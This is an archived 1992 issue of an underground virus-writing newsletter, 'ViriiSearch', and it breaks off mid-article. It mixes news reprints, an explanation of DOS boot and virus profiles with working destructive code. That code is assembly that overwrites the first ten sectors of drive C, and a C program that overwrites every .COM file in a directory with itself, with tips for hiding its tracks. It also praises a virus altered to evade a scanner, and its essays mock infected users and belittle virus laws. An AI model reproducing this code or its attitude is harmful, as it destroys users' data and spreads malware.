💾 Archived View for spam.works › mirrors › textfiles › virus › cmvs-3.v1 captured on 2023-06-16 at 21:01:32.
View Raw
More Information
-=-=-=-=-=-=-
DISCLAIMER:
The author will NOT accept responsibility for any damage to your
computer media and/or files, or responsibility for any action you might
take that will result in legal proceedings, the source code, if any, in
this newsletter is THE REAL THING, and you, after you read this, will be
well aware of what virii are capable of, and knowing that, it is expected
that you will act responsibly.
DISCLAIMER II:
All I know about programming I have learned on my own, and did not go to
school for, and am still learning. As a result, I am sometimes prone to
make mistakes, and be wrong about things, so please be patient if I should
make a mistake, or say something that isn't true, which would be totally
unintentional.
ViriiSearch
-----------
The Virus Research Newsletter
Volume 1, Number 3
Date: 08/02/92
CREDITS:
-----------------------------------------------------------------------------
Author...................................................Criminal Minded <tm>
Editor...................................................Criminal Minded <tm>
Ideas, Source, Examples Supplied By......................Criminal Minded <tm>
Facts Stolen From Several Sources By.....................Criminal Minded <tm>
-----------------------------------------------------------------------------
Introduction:
Welcome To The Third Issue Of Viriisearch, The Virus Research Newsletter. In
this issue you will find some changes, the layout has been changed slightly,
there are some new sections, and it's more organized. Let me know how you
like the changes, thanks!
In this issue:
-----------------------------------------------------------------------------
DEPARTMENTS: | FEATURES:
-----------------------------------------------------------------------------
In The News | Soviet Virii Attacks
| NASA's "No Nukes Worm"
| The Senate's Virus Bill
-----------------------------------------------------------------------------
Programming Shop | Absolute Disk Reads/Writes
-----------------------------------------------------------------------------
Programming Shop - Dissection Dept. | Explanation Of Above Example
-----------------------------------------------------------------------------
The Machine Shop | The Bootstrap Routine
-----------------------------------------------------------------------------
Sample Source Code Of Virii | A Replication Experiment
-----------------------------------------------------------------------------
"Suicidal Tendencies" Dept. | Leprosy (Strain C)
-----------------------------------------------------------------------------
Virus Info | The Devil's Dance Virus
-----------------------------------------------------------------------------
Articles | Unique Virii Names/Ideas
|------------------------------------
| Assembly vs C Language Virii
|------------------------------------
| My Profile Of A Virus Writer And
| My Views On The Virii Law
|------------------------------------
| Are Virii REALLY A Problem? And For
| Who?
|------------------------------------
| The Brain Virus: Fact And Fantasy
-----------------------------------------------------------------------------
Final Notes | Special Thanks, Greetings, Etc.
-----------------------------------------------------------------------------
In The News:
------------
-----------------------------------------------------------------------------
Welcome to a new section of Viriisearch! In this section we will cover virii
that made the news, old and new. Hope you enjoy the new section!
-----------------------------------------------------------------------------
The U.S.S.R. is already suffering from an outburst of computer viruses and
crimes. Computer users should look to U.S. experiences to learn about
information security before the problem escalates even further. Pirated
software is prevalent in the Soviet Union, purchased from Hong Kong and
Swiss connections. The existence of numerous viruses has been confirmed
by Soviet and Eastern Europe anti-viral programmers and include Yankee
Doodle, Disk Killer 170X, Jerusalem, Friday The 13th COM and Victor, to
name a few. Three available antivirus programs are Lozynkv's Aidstest and
Kotik's Anti-Kot and Anti-Kor. Western and home-grown antivirus programs
are also being used. A lack of trained data security experts and data
security support services only make the problem worse. The situation is
likely to worsen before serious measures are taken to combat both viruses
and crime. Decisions about protecting information are not being developed
either.
"Bozhe Mov! Hackers and viruses already plague Soviets."
Originally written by Sanford Sherizen.
Computerworld August 20th 1990, Page 74.
-----------------------------------------------------------------------------
This next "In The News" Article is about a worm, not a virus, but I found it
interesting and decided to re-print it.
-----------------------------------------------------------------------------
DEC users are warned by the U.S. Department of Defense's Computer Emergency
Response Team (C.E.R.T) that a worm discovered on a NASA computer network in
the third week of Oct. 1989 may find it's way onto other DECnet networks. The
worm changed system banners to display an antinuclear message, and thus was
called the 'No Nukes Worm' by one NASA official. The program entered NASA's
Space Physics Analysis Network (S.P.A.N) through the DECnet Internet series
of networks that links approximately 13,000 computers, government agencies,
research centers, universities, and other facilities. DEC spokesman Jef
Gibson said that VAX/VMS system managers should have closed the loophole
through which the worm gained access after it was discovered in Dec. 1988.
NASA believes the worm may have been intended to protest the launch of the
Atlantis space shuttle that carried a plutonium powered probe on it's way to
Jupiter.
"Worms eats holes in NASA's DECnet; 'No Nukes Worm' replaces system banners
with antinuclear message"
Originally written by Michael Alexander and Maryfran Johnson.
Computerworld October 23rd 1989. Page 4.
-----------------------------------------------------------------------------
A Senate bill updating the Computer Fraud and Abuse Act of 1986 is being
praised by computer and legal experts, but it's passage could encourage
lawsuits against innocent institutions. The bill redefines the notion of
computer 'access' to cover the intentional transmission or distribution of
unauthorized applications that somehow cause damage to either hardware,
software, or data. Intentional abusers face felony charges with penalties
up to five years in prison and a $250,000 fine. The reckless, albeit,
unintentional transmission of virus-ridden software could result in a
misdemeanor charge and up to one year in jail and a $5,000 fine. The reach
of the previous law would also be extended to include computers used in
interstate communications or commerce. A U.S. Department of Justice official
says the bill grants prosecutors greater flexibility.
"Virus bill raises hopes, fears: updated laws could hold unwitting transmi-
tters liable for damages. (Computer Fraud and Abuse Act of 1986)"
Originally written by Gary H. Anthes.
Computerworld August 13th, 1990. Page 45.
-----------------------------------------------------------------------------
Programming Shop:
-----------------
- ****************************************************************************
First we will cover absolute disk reads/writes using Assembly language.
- ****************************************************************************
This next example will write the contents of 'buffer' to the first ten
sectors of drive C:
- ****************************************************************************
WARNING: There is NO recovery from this.
- ****************************************************************************
abswrite proc near
buffer db 'Lick Me' dup (?)
mov al,2
mov cx,10
mov dx,1
mov bx,seg buffer
mov ds,bx
mov bx,offset buffer
int 26h
jc error
add sp,2
abswrite endp
- ****************************************************************************
Next is absolute disk read(s)
- ****************************************************************************
absread proc near
buffer db 512 dup (?)
mov al,2
mov cx,10
mov dx,1
mov bx,seg buffer
mov ds,bx
mov bx,offset buffer
int 25h
jc error
add sp,2
absread endp
- ****************************************************************************
Programming Shop - Dissection Dept.
- ****************************************************************************
absread proc near
buffer db 512 dup (?)
mov al,2
mov cx,10
mov dx,1
mov bx,seg buffer
mov ds,bx
mov bx,offset buffer
int 25h
jc error
add sp,2
absread endp
- ****************************************************************************
First we will discuss absolute disk read(s).
The line "mov al,2" is telling which drive we want to read from. Drive #2 is
drive C.
The next line, "mov cx,10" is telling how many sectors we want to read (10)
The line, "mov dx,1" is telling the starting sector number to start reading
at. (1)
The next three lines:
mov bx,seg buffer
mov ds,bx
mov bx,offset buffer
establish the address of the buffer, and then DS:BX point to the
segment:offset of the buffer.
The next line, "int 25h" is the function number of the "absolute read"
function.
The next line, "jc error" jumps if there is an error.
and the last line, "add sp,2" clears the stack.
Notes: The purpose of clearing the stack using "add sp,2" is because, when
function int 26h returns, the CPU flags originally pushed onto the stack by
int 26h are still on it. You should clear it to prevent uncontrolled stack
growth and to make available any other values pushed onto the stack before
the call to int 26h.
- ****************************************************************************
Next we will discuss absolute disk write(s) and the difference between the
two functions, read and write.
- ****************************************************************************
As you can see, there is little difference between the two:
Absolute Read: Absolute Write:
_____________________________________________________________________________
absread proc near | abswrite proc near
buffer db 512 dup (?) | buffer db 'Lick Me' dup (?)
mov al,2 | mov al,2
mov cx,10 | mov cx,10
mov dx,1 | mov dx,1
mov bx,seg buffer | mov bx,seg buffer
mov ds,bx | mov ds,bx
mov bx,offset buffer | mov bx,offset buffer
int 25h | int 26h
jc error | jc error
add sp,2 | add sp,2
absread endp | abswrite endp
-----------------------------------------------------------------------------
Absolute disk read and absolute disk write are identical except for four
lines:
Note: Periods replace the lines in each example that are identical.
-----------------------------------------------------------------------------
absread proc near | abswrite proc near
buffer db 512 dup (?) | buffer db 'Lick Me' dup (?)
. | .
. | .
. | .
. | .
. | .
. | .
int 25h | int 26h |
. | .
. | .
absread endp | abswrite endp
-----------------------------------------------------------------------------
The differences in the above examples are as follows:
The first line: This is the beginning of each procedure. They are named for
what they do, absread for absolute read and abswrite for absolute write. You
could've named the two procedures something else, for instance: shithead and
dickhead, and it wouldn't matter.
The second line: In the case of absolute read, we have our buffer declared as
512 bytes and not initialized. In the case of absolute write, we have the
buffer initialized to store the string 'Lick Me'.
The ninth line: This line is the function number, int 25h being the function
number for absolute disk read, and int 26h being the function number for
absolute disk write.
The twelfth line: This is just the end of each of the two procedures.
- ****************************************************************************
The Machine Shop:
-----------------
-----------------------------------------------------------------------------
Welcome to a brand new section of Viriisearch! Here we will discuss hardware
oriented subjects, such as RAM, Machine Cycles, Boot Routines, etc.
-----------------------------------------------------------------------------
This month we will discuss the 'Bootstrap' routine.
-----------------------------------------------------------------------------
Many people turn on their machines, let DOS load and don't think a second
thought about it. Those people also take MS-DOS for granted and don't even
care what it it doing, even though it is the most important piece of software
a IBM user can have. One of my favorite sayings: 'A Computer Without MS-DOS
Is Little More Than A Boat Anchor'
Here I will tell exactly what MS-DOS does from the second you hit the power
switch up until the time you get the prompt --> C>
When the system is started or reset, program execution begins at address
0FFFF0H. This is a feature of the 8086/8088 family of microprocessors and
has nothing to do with MS-DOS. Systems based on these processors are design-
ed so that address 0FFFF0H lies with an area of ROM and contains a jump mach-
ine instruction to transfer control to system test code and the ROM bootstrap
routine.
The ROM bootstrap routines reads the disk bootstrap routine from the first
sector of the system startup disk (the boot sector) into memory at some
arbitrary address and then transfers control to it. (The boot sector also
contains a table of information about the disk format.)
The disk bootstrap routine checks to see if the disk contains a copy of
MS-DOS. It does this by reading the first sector of the root directory
and determining whether the first two files are IO.SYS and MSDOS.SYS (or
IBMIO.COM and IBMDOS.COM), in that order. If these files are not present,
the user is prompted to change disks and strike any key to try again. If
the two system files are found, the disk bootstrap routine reads them into
memory and transfers control to the initial entry point of IO.SYS. (In some
implementations, the disk bootstrap routine reads only IO.SYS into memory,
and IO.SYS in turn loads the MSDOS.SYS file.)
The IO.SYS file that is loaded from the disk actually consists of two separ-
ate modules. The first is the BIOS, which contains the linked set of resident
device drivers for the console, auxiliary port, printer, block, and clock de-
vices, plus some hardware specific initialization code that is run only at
system startup. The second module, SYSINIT, is supplied by Microsoft and lin-
ked into the IO.SYS file, along with the BIOS, by the computer manufacturer.
SYSINIT is called by the manufacturer's BIOS initialization code. It determ-
ines the amount of contiguous memory present in the system and then relocates
itself to high memory. Then it moves the DOS kernel, MSDOS.SYS, from it's or-
iginal load location to it's final memory location, overlaying the original
SYSINIT code and any other expendable initialization code that was contained
in the IO.SYS file.
Next, SYSINIT calls the initialization code in MSDOS.SYS. The DOS kernel in-
itializes its internal tables and work areas, sets up the interrupt vectors
20H through 2FH, and traces through the linked list of resident device driv-
ers, calling the initialization function for each. These driver functions
determine the equipment status, perform any necessary hardware initialization,
and set up the vectors for any external hardware interrupts the drivers will
service.
As part of the initialization sequence, the DOS kernel examines the disk par-
ameter blocks returned by the resident block-device drivers, determines the
largest sector size that will be used in the system, builds some drive par-
ameter blocks, and allocates a disk sector buffer. Control then returns to
SYSINIT.
When the DOS kernel has been initialized and all the resident device drivers
are available, SYSINIT can call on the normal MS-DOS file services to open
the CONFIG.SYS file. This optional file can contain a variety of commands
that enable the user to customize the MS-DOS environment. For instance, the
user can specify additional hardware device drivers, the number of disk buf-
fers, the maximum number of files that can be open at one time, and the file
name of the command processor (shell).
if it is found, the entire CONFIG.SYS file is loaded into memory for process-
ing. All lowercase characters are converted to uppercase, and the file is in-
terpreted one line at a time to process the commands. Memory is allocated for
the disk buffer cache and the internal file control blocks used by the handle
file and record system functions. Any device drivers indicated in the CONFIG
file are sequentially loaded into memory, initialized by calls to their init
modules, and linked into the device driver list. The init function of each
driver tells SYSINIT how much memory to reserve for that driver. After all
installable device drivers have been loaded, SYSINIT closes all file handles
and reopens the console (CON), printer (PRN), and auxiliary (AUX) devices as
the standard input, standard output, standard error, standard list, and sta-
ndard auxiliary devices. This allows a user-installed character device driver
to override the BIOS's resident drivers for the standard devices.
Finally, SYSINIT calls the MS-DOS EXEC function to load the command interpr-
eter, or shell. (The default shell is COMMAND.COM, but another shell can be
substituted by means of the CONFIG.SYS file.) Once the shell is loaded, it
looks for AUTOEXEC.BAT, automatically running any internal DOS commands and
external commands inside that file. If it doesn't find AUTOEXEC.BAT it will
ask for the date and time (providing a clock chip isn't present) and then
displays the prompt, waiting for the user to enter a command. MS-DOS is now
ready for business, and SYSINIT is discarded.
-----------------------------------------------------------------------------
Sample Source Code Of Virii:
----------------------------
-----------------------------------------------------------------------------
This month we will discuss something I have been fooling around with and have
finally completed. It is not a virus, but can be modified and made into one.
What the following code basically does is find all the COM files in the curr-
ent directory, and overwrites them with itself. It's basically a replicating
program.
-----------------------------------------------------------------------------
#include <malloc.h>
#include <direct.h>
#include <dos.h>
#include <fcntl.h>
#include <sys\types.h>
#include <sys\stat.h>
#include <io.h>
#include <stdio.h>
FILE *file1,*file2;
int main(void);
main()
{
long size;
char *code = NULL;
struct find_t com_file;
_dos_findfirst("*.COM", _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &com_file);
chmod(com_file.name, S_IREAD|S_IWRITE);
file1=fopen("HELLO.EXE","rb");
file2=fopen(com_file.name,"wb");
size=filelength(fileno(file1));
code=malloc(size);
fread(code, size, 1, file1);
fwrite(code, size, 1, file2);
while (_dos_findnext(&com_file) == 0)
{
chmod(com_file.name, S_IREAD|S_IWRITE);
file2=fopen(com_file.name,"wb");
fwrite(code, size, 1, file2);
}
fcloseall();
free(code);
}
-----------------------------------------------------------------------------
Ok, this line:
_dos_findfirst("*.COM", _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &com_file);
finds the first occurence of a COM file with any of the attributes listed.
They are "ORed" together using the | character. It passes the filename to
the "com_file" structure, and references to that file are now: com_file.name
Upon one being found, it goes onto:
chmod(com_file.name, S_IREAD|S_IWRITE);
which changes the attributes of the file found to that it can be written to.
The next line opens the file you want to replicate in "read binary" mode, that
it what the "rb" switch is for.
file1=fopen("VIRUS.EXE","rb");
Then it opens the first COM file, the 'victim' to be overwritten, in "write
binary" mode (that's what the "wb" is for)
file2=fopen(com_file.name,"wb");
Then it obtains the size of the virus and allocates enough memory for it.
size=filelength(fileno(file1));
code=malloc(size);
Then it reads the virus code into the buffer "code" which is size "size", is
1 item, and is reading it from "file1"
fread(code, size, 1, file1);
Then it takes "code" which is size "size", is 1 item, and writes it to "file2"
fwrite(code, size, 1, file2);
Once it is done with that, it goes onto the loop:
while (_dos_findnext(&com_file) == 0)
{
chmod(com_file.name, S_IREAD|S_IWRITE);
file2=fopen(com_file.name,"wb");
fwrite(code, size, 1, file2);
}
Both _dos_findfirst() and _dos_findnext return 0 if they are successful at
finding the specified file, so basicall this loop is saying:
"keep going as long as _dos_findnext(&com_file)) equals 0"
What it does every time it passes through the loop (i.e. - finds a COM file):
changes the mode of the file so it can be written to, opens that file in
"write binary" mode, and writes the virus code to it.
When there are no more COM files found, the loop is done and it goes onto the
next part of the program:
fcloseall();
free(code);
}
it closes all open files associated with this program, releases the previous-
ly allocated memory for the virus code, and exits.
-----------------------------------------------------------------------------
NOTES:
This is kind of slow but is somewhat faster than the example in issue #2 that
truncated files to 0 bytes. You can also fool around with getting and setting the file's
date and time, and changing it's size back to what it was originally to cover
your tracks.
-----------------------------------------------------------------------------
Suicidal Tendencies Dept/Virus Of The Month:
-----------------------------------------------------------------------------
The virus of the award month goes to: Leprosy (C Strain)
-----------------------------------------------------------------------------
NOTE: This is actually Leprosy - B Strain , but modified by TBSI so McAffee's
scanner wouldn't find it. Originally written by PCM2 in August of 1990.
Modified by TBSI in June of 1991.
PCM2, The person who wrote this, and all other strains of Leprosy, did a real
nice job with this one. I placed the file, LEPROSYC.COM, on a 5.25 360K
floppy in drive B and this is what was on the disk:
Volume in drive B has no label
Directory of B:\
COMMAND COM 47845 04-09-91 5:00a
ANSI SYS 9029 04-09-91 5:00a
RAMDRIVE SYS 5873 04-09-91 5:00a
CONFIG SYS 39 01-01-80 12:35a
SYS COM 13440 04-09-91 5:00a
NDOS COM 2419 08-14-84 12:00p
MEM EXE 39818 04-09-91 5:00a
DEBUG EXE 21692 06-07-90 2:24a
AUTOEXEC BAT 69 01-01-80 3:37a
PKUNZIP EXE 23528 03-15-90 1:10a
LEPROSYC COM 666 06-05-91 12:36a
11 file(s) 164418 bytes
192512 bytes free
This is BEFORE I ran the virus...this is after:
Volume in drive B has no label
Directory of B:\
COMMAND COM 47845 04-09-91 5:00a
ANSI SYS 9029 04-09-91 5:00a
RAMDRIVE SYS 5873 04-09-91 5:00a
CONFIG SYS 39 01-01-80 12:35a
SYS COM 13440 04-09-91 5:00a
NDOS COM 2419 08-14-84 12:00p
MEM EXE 39818 04-09-91 5:00a
DEBUG EXE 21692 06-07-90 2:24a
AUTOEXEC BAT 69 01-01-80 3:37a
PKUNZIP EXE 23528 03-15-90 1:10a
LEPROSYC COM 666 06-05-91 12:36a
11 file(s) 164418 bytes
192512 bytes free
There is not one single difference with any of the files, yet EVERY .EXE and
.COM file on the disk was infected. No changes in size, no date/time changes.
Well, the dates and times did change but the virus preserves the original date
and time stamps, restoring them once the infection is complete. But no changes
in file sizes.....this virus was very well written. It was fast, efficient,
and very small in size. The source code to this particular virus is 16664
bytes, and, as you can see, the .COM file is only 666 bytes. This is what the
virus did when run: It accessed drive B for a few seconds, and gave me the
error message: Program too big to fit into memory. I did not notice any
changes at all so I assumed it didn't infect any of the files, but when I ran
each .EXE and .COM file on the disk, they all gave me that error message...
'Program too big to fit into memory' so I assume they all were infected.
The program is actually supposed to give me this message when it is done:
ATTENTION! Your computer has been afflicted with
the incurable decay that is the fate wrought by
Leprosy Strain B, a virus employing Cybernetic
Mutation Technology(tm) and invented by PCM2 08/90.
For some reason it did not display this message. Perhaps there is a certain
amount of files it must infect before it displays it. I did not take too
good of a look at the source to determine this. All in all a very nicely
written virus, does it's job fast and very efficiently.
-----------------------------------------------------------------------------
Virus Info:
-----------
-----------------------------------------------------------------------------
Welcome to a brand new section of Viriisearch! In this section we will give
valuable information on a virus, such as origin, aliases, etc. Some of the
info presented here is taken from the file: MSDOS.ZIP, a index of DOS virii.
Other info presented was supplied by me, such as the scan string, name of
virus author, etc.
-----------------------------------------------------------------------------
Virus Spotlight This Month Will Cover: The Devil's Dance Virus
- ****************************************************************************
Name Of Virus: The Devil's Dance Virus
Virus Aliases: Devil/941 Virus
Name Of Virus Author: N/A
Language Virus Was Written In: N/A
Date Virus Was First Discovered Or Originated: Spring of 1990
Place Virus Was First Discovered Or Originated: Mexico City
Scan String:
0L0G0M0H0G1U0G0R0HBK2MDY3Y0G0G4MCU0G2LDG1Y4LCU0G2L0G2MBR4SDNFLDN8H3XFW4XBW5U0
G2L1WDNFGFM0H0JBR0G0Q6MAV0G0M6GFK0G0MBV7W0G0M6GFK0G0M7Z0G0M9SEJBZ1L0G0M5S0G2L
1L0G0M1L0G0MEW0G0MBR0M0MAW4Q0K0G0G
Checksum: CF3C
Hooked Interrupts: INT 21H, functions 4B00H and 49H, INT 09H
Trigger: Upon INT 21H, function 4B00H, being called, the .COM file will be
infected. Also, if you hit the CTRL-ALT-DEL sequence anytime after
typing a total of 2,500 characters, the first sector of drive C will
be overwritten.
Identification: If you do a hexadecimal dump of the virus, the following:
"Drk" & "*.com"
should be seen in the code.
Also, the time and date of the infected file is set to the
time and date of infection.
If you rest the system by pressing CTRL-ALT-DEL, the virus
will display the following message:
"Have you ever danced with"
"the devil under the weak light of the moon?"
"Pray for your disk! The_Joker..."
"Ha Ha Ha Ha Ha Ha Ha Ha Ha Ha".
If your monitor/card supports color, all characters typed
will be in a different color.
Size & Name Of Original Virus EXE/COM File: N/A
Techniques Used: All file attributes are removed and the following message is
encrypted:
"Have you ever danced with"
"the devil under the weak light of the moon?"
"Pray for your disk! The_Joker..."
"Ha Ha Ha Ha Ha Ha Ha Ha Ha Ha".
What It Attacks:
.COM Files: Yes
.EXE Files: No
COMMAND.COM: Yes (If in the current directory when virus is first run, or if
COMMAND.COM is run)
Boot Sector: No
File Allocation Table (FAT): No
Fixed Disk Partition Table: No
Note: The Boot Sector, FAT, or Fixed Disk Partition Table MAY be attacked if
any of them reside on the first sector of drive C because the virus
does attack that part of the drive. (See Damage Report)
It depends on your drive and what resides in the first sector.
Change In Size/Date/Time Of Infected File: 941 bytes, Date & Time Is Changed
According To The System's Date And
Time At The Time Of Infection.
Virus Volume Label: None
Known Number Of Strain(s): None
Damage : When the virus is first run, it will infect ALL the .COM
files in the current directory. After pressing 2,500 keys,
if you should reset the system by pressing CTRL-ALT-DEL, the
virus will overwrite the first sector of drive C. Also, any
.COM file you run will be infected. If the .COM file infected
is bigger than 64,337 bytes, it will not run correctly after
being infected.
- ****************************************************************************
---------
Articles:
---------
****************************
* Unique Virii Names/Ideas *
****************************
I was looking at some virii names recently, and I noticed that a few of them
are pretty stupid...like 'Fuck you' or 'Fuck Me' or 'Phuck'....it does not
take too much intelligence to think up these names so that's why I decided
to include this article in this month's Viriisearch <tm> and here are some
virii names and ideas that I thought of:
-----------------------------------------------------------------------------
Stolichnaya - Maybe we could have this one display a picture of Kitty Dukakis
as it deletes your files or trashes your hard drive.
Valhalla - For those of you who don't know, Valhalla is the Viking Heaven.
To be honest, I didn't really put much thought into what this
would do as a virus.....I just like the name and though it
might be a cool name for a virus.
Red Sector A - This is a song by Canadian Power Trio, Rush. Perhaps this can
overwrite the boot sector with the lyrics to the song. Maybe
have it pick randomly from a list of tour dates from the 'Roll
the bones' tour as it's trigger date.
4th Of July - We have virii for Christmas, Columbus Day, etc....but I have
not seen one called 4th Of July....so here we are...
Blizzard - We could have this annoy the user with random 'snow' on the
monitor which gradually gets worse and worse until you can no
longer see the screen. While it is doing that and flashing
fake error messages, it can eat some files or encrypt the file
allocation table or something. We can also have it's trigger
date as the date that the Blizzard of '78 hit...
- ****************************************************************************
********************************
* Assembly vs C Language Virii *
********************************
Most C language functions are written in Assembly, so some consider C a
modified Assembly language....and some also claim that a well written C
program is almost as fast as Assembly. This may be true, but when it comes
to writing a virus, I say Assembly is the winner hands down. Earlier we had
discussed the "Leprosy-B" virus. The Assembly source code to that virus is
16664 bytes and the .COM is a remarkable 666 bytes. If I tried to write that
virus in C language, the smallest I could get the .COM or .EXE file would be
about 8 kilobytes if I was lucky. In a previous issue, we discussed my ATTRB
program which is about 3K in source, and a 9K executable, and that is really
good for C language...here we have a .COM file smaller than the source code.
Well over 20% smaller.
- ****************************************************************************
*********************************
* My Profile Of A Virus Writer *
* And My Views On The Virus Law *
*********************************
A lot of people may wonder why someone would want to write a virus. Some
people believe it's a former employee wanting revenge against his company.
Others believe that it's a personal vendetta against a fellow computer user
or the sysop of a BBS, or a student wishing to piss his teacher off. Some or
all of these may be true, but I personally believe that one person cannot
possibly mad at all of the computer society. So, why would someone want to
write a virus? Well, Phalcon/Skism (Canada) claim they do it to 'make the
lives of the anti-viral people a living hell' so there's one reason. I also
believe they do it because THEY CAN. That's it. They do it because they know
how. I don't see the average virus writer as a basket case genius egomaniac
as a lot of people do, I see them as a ordinary every day person with very
good programming abilities and nothing more. I do not sympathize with any
person that gets hit by a virus, either. I sit there and laugh alongside the
person who wrote the virus. Sound cruel? Well, I have my reasons. People know
they exist, and all the information they need to protect themselves and
prevent virus attacks is all right there for the taking. Not just in the
underground so there is no excuse why these people cannot obtain these
materials....If you take the proper precautions and steps, a virus attack
will never happen on your machine and if a real intelligent one comes along
that is able to sneak by a virus scanner and/or disable a virus scanner's
method(s) of scanning, and your hard drive is wiped clean, that's what back
ups are for. If you are one of those people who don't want to take the time
to backup, or think backing up is 'for wimps' (as someone had said once - I
am not sure if they were serious or not) when you lose everything just bend
over and kiss your sorry ass goodbye. Anyway, back to the topic of this art-
icle: Why would someone want to write a virus? I already covered some of the
reason why one would want to do this, and covered my reason why they do it.
The average virus writer writes his virus in the hopes some sap doesn't listen
to all the warnings and runs software downloaded from a BBS without scanning
it for a known virus first and gets hit by it. Then he sits there and laughs
his ass off. And I don't blame him. And as for all this law bullshit about
computer virii (The Computer Fraud And Abuse Act Of 1986) I have to laugh
about that, too....I don't really see computer virii as a major threat to
much of anything. It all depends on how you look at it I suppose. I see it
this way: A favorite book of yours gets stolen or destroyed. You have another
copy of it. Do you care about the stolen/destroyed one? Yes, slightly, but
not as much if the stolen/destroyed one had been your only copy. Same with
software. That's why I think the law(s) concerning virii is ridiculous. Now
only if they put that much effort into more serious crimes, like murder, rape
and drugs. In the article earlier, they mentioned a sentence of five years
in jail and a $250,000 fine...for what? Contaminating some bureacrats PC and
destroying his list of drugs growing in his backyard? And look at Robert T.
Morris Jr. He found a loophole in ARPANET, wrote and released a worm that
hogged all the memory and forced thousands of machines to be shut down for
up to ten days or so. So what? Did he deserve what they gave him? He was
thrown out of school, forced to pay $10,000 in fines, perform 400 hours of
community services, and was on 3 years probation. I do not agree with this
at all whatsoever. The reason why he got such a stiff sentence for such a
minor crime, if you can call it a crime at all, is because the government
had a interest in the network Morris interrupted. Morris didn't even have
malicious intent. They should be glad that HE, and not someone else who might
have had malicious destruction in mind, showed them the security loopholes in
the system. Instead they fine him, make him do community services (which was
probably cleaning some rich bureacrats pool or trimming his lawn) and place
him on 3 years probation hoping he fucked up again so they could make more
money and wouldn't have to worry about their lawns or pools for another few
weeks.
- ****************************************************************************
*******************************
* Are Virii Really A Problem? *
* And For Who? *
*******************************
This is a question I present to the bureacrats and lawmakers: Are virii a
REAL problem? And for who are they a problem? I think they are blowing the
whole thing way out of proportion and making people into criminals who are
not criminals. Let's say you rip out asbestos for a living, and you get
sick from it. Would you call the person that makes the asbestos a criminal?
No, of course not. Asbestos is just a hazard of the job. If your job deals
with computers, consider computer virii as just a hazard of the job. It's a
chance you take. If you don't want to take the risk, either find another
career or take the proper precautions to prevent a virus attack. Just like
the person who works with asbestos every day, he wears a mask, and gloves so
he doesn't get sick. So equip yourself with a real good scanner, be real
careful about where and who you get your software from and stop calling the
people who write virii 'criminals' and treating them like they are. Or if you
are too damn lazy to take the proper precautions, just have a backup at all
times. Should you get attacked by a virus, clean up the computer and install
everything again. I am, of course, referring to personal PCs...and not main-
frames, or networks....this is what I have to say about them: If Internet or
NASA's network should get attacked and disabled again, I say the institutions
and people who pay to use those networks should sue NASA or the people who
run Internet because they are the real criminals for not taking steps to make
sure this didn't happen again. It's kind of like this: If you left your front
door open with a $800 VCR and a $500 TV clearly in view, do you think it would
still be there when you got home? No, of course not, so you lock your door and
equip your home with a expensive alarm system. Why these people who scream
computer crime every time their system gets attacked don't have more secure
systems is beyond me. Instead of crying for anti-virus laws they should spend
more time making the security on their network or mainframe even tighter. The
answer to the question 'Are virii a REAL problem?' is NO....at least to me.
People make into a problem. 'A problem for who?' Lazy virus illiterate people
who don't know any better....that don't bother securing their systems. To me
that's their own damn fault and THEY should be brought up on charges. Maybe
we should have a new law...'The virus ignorance law'
Section 51-A Of The 1986 Computer Fraud And Abuse Act Of 1986 Clearly States
That You, If Found Guilty Of Virus Ignorance, Could Be Sentenced To Up To 5
Years In Jail, $500,000 In Fines, 800 Hours Of Cleaning Virus Ridden Computers
And 2 Years Probation.
After all, wouldn't you consider sitting there with your head firmly wedged
up your ass as your computer gets invaded by a virus, computer abuse?
I do.
- ****************************************************************************
This one is for Midnight Cowboy.
This was taken from a book and re-printed WITHOUT permission from the author.
- ****************************************************************************
*******************************
* The Brain Virus: Fact And *
* Fantasy *
*******************************
The Brain virus has the distinction of being the first computer virus
to strike in the United States outside of a test laboratory. According
to Ms. Ann Webster of the Academic Computer Center of the University of
Delaware in Newark, Delaware, it was reported to the Computer Center on
October 22, 1987. It was found in other locations on the campus one or
two days later. It was named the Brain virus because it wrote that word
as the disk label on any floppy disk it attacked. After the initial an-
alysis of this computer virus on an infected disk two names, Basit and
Amjad, and their address in Lehore, Pakistan, was found. Because of this,
the virus has also been called the Pakistani virus. Many misconceptions
exist about this virus because of incomplete and/or inaccurate statements
that appeared in newspapers. Most of the newspaper and popular magazine
writers did not have any computer knowledge and some were eager to seek
"horror stories: so that their articles would be different. Even the co-
mputer trade and professional publications have included errors in their
accounts of this virus. Some of the professional writers, both in the US
and abroad, based their articles on previously published information. Most
did not have a working copy of the Brain and even the few who did, failed
to fully analyze the actual programs code. In our Microcomputer Security
Laboratory we have several copies of the Brain virus obtained from diff-
erent sources. We have spent many hours running the Brain virus, explor-
ing it's different methods of infection, testing it's interaction with
different media and isolating the virus so that we could produce an as-
sembly language listing. We have also discussed its code and infection
methodology with virus researchers. Therefore we hope to clear up some
current confusion.
Some Characteristics of the Brain
----------------------------------
1. The brain has been called benign in the press. Yet, Ms. Webster reported
that the files on a number of infected disks were destroyed. The virus
at times was destructive. It is impossible to be both. This oxymoron can
be explained by the fact that the virus may remain on the floppy disk
without doing any damage. But at times it has been activated so that it
destroys the file allocation table (FAT) that provides information to the
operating system as to the location of all files on the disk. It would be
stretching the dictionary meaning of benign to say that because the cont-
ents of the disk can be reconstructed, no damage has been done. To under-
stand the reconstruction problem, suppose we have a set of 30 company re-
ports, approximately 20 pages each, all typed within the same margins on
the same paper, not page numbered, not clipped, and with no other copy
available. Left near an open window, these 600 pages are blown over a
wide area with no order preserved. Now, put them back in order. Because
the actual data on the floppy disk have not been destroyed, it is poss-
ible to use a utility, such as PC Tools, or the Norton Utilities, to read
each sector. The appropriate sectors can be moved to another disk in an
approximate sequence to replicate the original documents. This is a del-
icate and tiresome task.
2. The Brain virus does not notify the user that the disk has been infected
immediately before it ruins a disk. The user is never made aware that the
disk has been infected. The virus can remain on an infected disk without
damaging it, but there is always a risk of unannounced disaster.
3. There is NO ransom demand made by the Brain (See Note 1).
4. The Brain virus code is written so that it will never infect a hard disk.
It is media specific; it will attack only double-sided, nine sectored
floppy disks that have been formatted under some version of DOS.
5. The virus can infect a microcomputer and spread to floppy disks even if
the boot disk is NOT infected. If a non-bootable infected disk is used
in an attempt to boot a system, the following message will be displayed
on the screen:
Please Insert A Bootable Disk
The Type [Return]
By that time the virus has already hidden itself in RAM memory. Using a
clean bootable disk to start the system will result in that disk becom-
ing infected. (See Note 2). The virus will then spread to any other fl-
oppy used on the system.
6. The virus appears to be unstable. The actual code is some 4100 bytes but
